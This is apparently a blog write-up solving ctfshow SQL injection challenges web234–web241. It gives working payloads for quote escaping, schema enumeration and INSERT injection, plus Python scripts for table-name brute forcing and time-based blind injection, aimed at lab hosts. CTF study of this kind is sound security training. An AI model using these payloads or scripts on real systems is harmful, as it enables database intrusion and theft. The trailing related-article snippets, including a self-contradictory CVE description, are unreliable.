ctfshow sql注入 web234--web241

web234

 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

这里'被过滤了,所以我们用\转义'使得'变为普通字符

 $sql = "update ctfshow_user set pass = '\' where username = '{$username}';";

那么这里的话

pass=\' where username=

所以我们就把username的第一个引号的闭合问题解决了,后面的引号用注释就行了,username又是可控的,开始

看到页面没有注入的地方我们访问api
api是一个url的接口,所以我们在这里实现注入

password=\&username=,username=(select group_concat(schema_name) from information_schema.schemata)#
传入的内容实际是,username=(select group_concat(schema_name) from information_schema.schemata)#
因为我们的\逃逸,所以我们已经是把username给干掉了,所以我们得补一个
information_schema,test,mysql,performance_schema,ctfshow_web

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f775f776562)#
banlist,ctfshow_user,flag23a

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)#
id,flagass23s3,info

password=\&username=,username=(select group_concat(flagass23s3) from ctfshow_web.flag23a)#

web235

or过滤之后,我们还有另外两个能够使用的库

用innodb_index_stats和innodb_table_stats查找表名
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
banlist,ctfshow_user,flag23a1
但是也只能查到表名
我们还要查内容和列的话旧的使用无列名注入了
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1)a)#

在这里插入图片描述
我觉得好深金必须要加?page=1&limit=10才对

web236

password=\&username=,username=(select group_concat(table_name) from mysql.innodb_index_stats where database_name=database())#

password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flaga limit 1,2)a)#

web237

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

这里我们直接闭合username然后就行

9',(select group_concat(schema_name) from information_schema.schemata))#

6',(select group_concat(table_name) from information_schema.tables where table_schema=database() ))#

在这里插入图片描述

在这里插入图片描述

7',(select group_concat(column_name) from information_schema.columns where table_name="flag"))#

8',(select group_concat(flagass23s3) from ctfshow_web.flag))#

如果说为什么要在insert.php进行注入的话,我不知道你注意前面的注入没有都是在相应的php页面进行的

web238

9',(select(group_concat(schema_name))from(information_schema.schemata)))#

9',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')))#

9',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#

9',(select(group_concat(flag))from(ctfshow_web.flagb)))#

web239

9',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#

9',(select/**/b/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/flaga/**/limit/**/1,2)a))#
6',(select b from (select 1,2 as b,3 union select flagbb limit 0,1)a))#
这两个都没成功的话其他的基本也没什么可能了,只能猜flag是不是叫做flag了

6',(select(group_concat(flag))from(ctfshow_web.flagbb)))#

web240

//过滤空格 or sys mysql

import requests

url="https://3c76f100-cccb-47bd-a3fe-2cd434fe95e1.challenge.ctf.show/api/insert.php"

for a1 in "ab":
    for a2 in "ab":
        for a3 in "ab":
            for a4 in "ab":
                for a5 in "ab":
                    payload='flag'+a1+a2+a3+a4+a5
                    data={
                        'username':f"1',(select(flag)from({payload})))#",
                        'password':'1'
                    }
                    r=requests.post(url=url,data=data)

在这里插入图片描述
回来刷新就有flag了,我调了一会笑死了,之前的脚本居然没起到注入的作用然后又在那里慢慢调
脚本还是比较简单的我就不解释了

web241

$sql = "delete from  ctfshow_user where id = {$id}";

这次不用闭合了
那么我们试试其他办法能不能执行
在这里插入图片描述

找到时间盲注点

except Exception as e:
这个和except的区别就是能够更精准的只处理我们的超时异常

这个脚本我写了很久,因为我之前并没有完全理解try,except,现在懂了

import time

import requests

url = "https://0d7e9907-1db5-4da9-a263-79d53fa0040a.challenge.ctf.show/api/delete.php"
i = 0

flag = ''

while True:
    i += 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2

        #payload = "select group_concat(schema_name) from information_schema.schemata"
        #informazion_sesema,tesz,mytql,performance_schema,ctfshow_web
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'"
        #banlisz,ctfshow_user,flag
        #payload="select group_concat(column_name) from information_schema.columns where table_name='flag'"
        #id,flag,info
        payload="select group_concat(flag) from ctfshow_web.flag"
        data = {
            'id': f'if((ascii(substr(({payload}),{i},1))>{mid}),sleep(0.1),0)'
        }

        try:
            r = requests.post(url=url, data=data, timeout=1.5)
            high = mid
        except Exception as e:
            low = mid+1
        time.sleep(0.1)   # 环境限制不能短时间访问过多次数
    if low != 32:
        flag = flag + chr(low)
    else:
        break
    print(flag)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/768045.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

If you already have a 64-bit JDK installed ,defined a JAVA_HOME...的错误

今天感觉idea有点卡&#xff0c;修改了一下内存&#xff0c;结果就报这个错误了&#xff0c;网上的解决方案好多&#xff0c;都不行 以下是解决方案 打开 C:\Program Files\JetBrains\IntelliJ IDEA 2024.1.4\bin\jetbrains_client64.exe 把jihuo这个目录下所有的文件都删掉&…

JVM原理(十一):JVM虚拟机六种必需对类进行初始化的情况

Java虚拟机把描述类的数据从Class文件加载到内存&#xff0c;并对数据进行校验、转换解析和初始化&#xff0c;最终形成可以被虚拟机直接使用的Java类型&#xff0c;这个过程被称作虚拟机的类加载机制。Java天生可以动态扩展的语言特性就是依赖运行期间动态加载和动态链接这个特…

2024年爬取BOSS直聘的操作

SCrapy框架实现对BOSS直聘的爬取 文章目录 SCrapy框架实现对BOSS直聘的爬取对SCrapy框架的一个简单认识Scrapy 组件的作用Scrapy 数据流 1. 测试反爬2. 定义一个下载中间件类,截取spiders的请求&#xff08;中间件直接截取请求&#xff0c;并且返回给Spider进行数据解析&#x…

动态住宅代理IP的优势是什么?什么地方用到?

在大数据时代的背景下&#xff0c;代理IP成为了很多企业顺利开展的重要工具。代理IP地址可以分为住宅代理IP地址和数据中心代理IP地址。选择住宅代理IP的好处是可以实现真正的高匿名性&#xff0c;而使用数据中心代理IP可能会暴露自己使用代理的情况。 住宅代理IP是指互联网服务…

Android存储权限梳理及api接口调用

Android存储权限梳理及api接口调用 背景 Android开发中需要了解android 存储权限管理和对应的api使用逻辑。 概述 Android系统的文件存储按存储介质类型分为内部存储和外部存储&#xff0c;按存储目录类型分为私有目录和公共目录&#xff1b;对于Android系统中的进程来说&a…

【力扣 - 每日一题】3099. 哈沙德数 | 模拟 (Go/C++)

题目内容 如果一个整数能够被其各个数位上的数字之和整除&#xff0c;则称之为 哈沙德数&#xff08;Harshad number&#xff09;。给你一个整数 x 。如果 x 是 哈沙德数 &#xff0c;则返回 x 各个数位上的数字之和&#xff0c;否则&#xff0c;返回 -1 。 示例 1&#xff1…

修改CentOS7 yum源

修改CentOS默认yum源为阿里镜像源 备份系统自带yum源配置文件 mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup 下载ailiyun的yum源配置文件 CentOS7 yum源如下&#xff1a; wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun…

按是否手工执行测试的角度划分:手工测试、自动化测试

1.手工测试&#xff08;Manual testing&#xff09; 手工测试是由人一个一个的输入用例&#xff0c;然后观察结果&#xff0c;和机器测试相对应&#xff0c;属于比较原始但是必须的一个步骤。 由专门的测试人员从用户视角来验证软件是否满足设计要求的行为。 更适用针对深度…

如何批量创建、提取和重命名文件夹!!!

你是否还在一个一个手动创建文件名&#xff01; 你是否还在一个一个手动提取文件名&#xff01; 你是否还在一个一个手动修改文件名&#xff01; 请随小生一起批量自动创建、提取、重命名&#xff01; 1、批量创建文件夹 【案例】创建1日-31日共31个文件夹 【第一步】在A列…

Atom CMS v2.0 SQL 注入漏洞(CVE-2022-25488)

前言 CVE-2022-25488 是一个发现于 Telesquare SDT-CW3B1 设备中的命令注入漏洞。这一漏洞可以被未经认证的远程攻击者利用&#xff0c;通过特殊构造的 HTTP 请求在设备上执行任意命令。以下是关于该漏洞的详细信息&#xff1a; 漏洞详细信息 漏洞编号: CVE-2022-25488影响范…

统一开放平台实现方案(访微信SDK)

需求分析 在互联中&#xff0c;我们的服务是不对外开放的&#xff0c;但是有先场景下我们可以对外开放&#xff0c;但是必须是系统所允许的用户才可以&#xff0c;这样做一方面保证安全&#xff0c;另一方面可以提升平台的能力&#xff0c;比如调用微信的接口必须要进行微信开…

统计信号处理基础 习题解答11-11

题目 考虑矢量MAP估计量 证明这个估计量对于代价函数 使贝叶斯风险最小。其中&#xff1a;, &#xff0c;且. 解答 贝叶斯风险函数&#xff1a; 基于概率密度的非负特性&#xff0c;上述对积分要求最小&#xff0c;那就需要内层积分达到最小。令内层积分为&#xff1a; 上述积…

为什么网上商店需要翻译成其他语言

网上商店不仅仅是一个可以买到商品的网站。它是一个完整的电子商务平台&#xff0c;为来自世界各地的用户提供购买所需物品的机会。但是&#xff0c;为了让这些用户舒适地使用网站&#xff0c;需要高质量的翻译和本地化。 本地化是指产品或服务适应特定文化或市场的过程。它包…

匠心独运:红酒与手工艺的很好结合

在岁月的长河中&#xff0c;红酒与手工艺都以其不同的魅力和技艺&#xff0c;书写着各自的故事。当这两者相遇&#xff0c;仿佛是一场跨越时空的对话&#xff0c;不仅展现了匠心独运的技艺之美&#xff0c;更在无声中诉说着对品质与生活的热爱。今天&#xff0c;就让我们一起探…

「算法题」二分查找算法演示

一个样式更加美观大方的HTML页面示例,其中包括了二分查找算法的演示。 布局描述 页面主体使用白色背景,加上轻微的阴影和圆角边框,使页面看起来更加精致。输入框和按钮使用了更加现代的样式,包括圆角边框和悬浮效果。按钮使用了鲜明的颜色,以吸引用户点击。搜索结果显示时…

html+js+css登录注册界面

拥有向服务器发送登录或注册数据并接收返回数据的功能 点赞关注 界面 源代码 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <title>Login and Registration Form</title> <style> * …

linux命令行操作

一、看二进制文件 od -t x1 1.txt | less 二、看信号 kill -l man 7 signal 三、查看当前进程的pid号 echo $$

44.实现管理HOOK点的链表对象

上一个内容&#xff1a;43.实现HOOK接管寄存器数据 以 43.实现HOOK接管寄存器数据 它的代码为基础进行修改 首先创建一个类 这里创建的名为HOOKPOINT.h HOOKPOINT.cpp文件里面的内容 #include "pch.h" #include "HOOKPOINT.h"HOOKPOINT::HOOKPOINT() {…

钉钉机器人接入Dify工作流

实现钉钉机器人接入dify工作流&#xff0c;完成ai 流式问答 代码地址 有用的话点个star github地址 效果 配置使用 修改.env_template文件 为.env 设置.env文件内的环境变量 API_KEY: dify的api_keyAPI_URL: dify 的api接口CLIENT_ID : 钉钉机器人应用的idCLIENT_SECRET:钉…

Arthas实战(1)- 运行Arthas

1. 下载Arthas 下载到服务器&#xff1a; wget https://github.com/alibaba/arthas/releases/download/arthas-all-3.7.1/arthas-bin.zip解压 Arthas unzip arthas-bin.zip -d arthas删除压缩包 rm -f arthas-bin.zip 2. 启动Arthas 运行 Arthas java -jar arthas/arthas-bo…